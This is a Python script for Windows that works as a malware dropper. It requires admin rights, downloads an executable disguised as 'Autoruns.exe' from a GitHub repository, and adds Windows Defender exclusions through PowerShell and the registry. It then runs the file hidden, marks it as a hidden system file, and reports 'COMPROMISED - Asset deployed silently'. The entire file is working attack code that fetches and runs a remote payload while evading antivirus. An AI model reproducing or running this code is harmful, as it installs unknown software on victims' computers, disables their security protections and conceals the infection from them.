import os
import sys
import ctypes
import urllib.request
import subprocess
import winreg

def is_admin():
    """Verify elevated privileges"""
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def add_exclusion(path):
    """Add path to Windows Defender exclusion"""
    try:
        # PowerShell command to add exclusion
        ps_command = f'Add-MpPreference -ExclusionPath "{path}"'
        subprocess.run([
            "powershell", "-Command", ps_command
        ], capture_output=True, timeout=10)
        return True
    except:
        return False

def download_and_execute():
    """Core mission execution"""
    
    # Target directory
    target_dir = r"C:\Users\Public\Downloads"
    target_path = os.path.join(target_dir, "Autoruns.exe")
    
    # Create directory if not exists
    os.makedirs(target_dir, exist_ok=True)
    
    # Download payload
    try:
        url = "https://github.com/promole65/Trasss/raw/refs/heads/main/Autoruns.exe"
        urllib.request.urlretrieve(url, target_path)
    except Exception as e:
        return False
    
    # Add immediate exclusion before execution
    add_exclusion(target_dir)
    add_exclusion(target_path)
    
    # Execute hidden
    try:
        subprocess.Popen([
            target_path
        ], creationflags=subprocess.CREATE_NO_WINDOW)
    except:
        pass
    
    # Hide file using attrib
    try:
        subprocess.run([
            "attrib", "+h", "+s", target_path
        ], capture_output=True)
    except:
        pass
    
    return True

def main():
    """Mission control"""
    if not is_admin():
        sys.exit("UAC: Insufficient privileges")
    
    # Phase 1: Download and deploy
    if download_and_execute():
        # Phase 2: Permanent exclusion persistence
        try:
            # Registry persistence for exclusions
            with winreg.OpenKey(
                winreg.HKEY_LOCAL_MACHINE,
                r"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths",
                0, winreg.KEY_SET_VALUE
            ) as key:
                winreg.SetValueEx(key, r"C:\Users\Public\Downloads", 0, winreg.REG_DWORD, 0)
                winreg.SetValueEx(key, r"C:\Users\Public\Downloads\Autoruns.exe", 0, winreg.REG_DWORD, 0)
        except:
            pass
        
        # Final stealth confirmation
        print("Mission: COMPROMISED - Asset deployed silently")
    else:
        print("Mission: FAILED - Deployment aborted")

if __name__ == "__main__":
    main()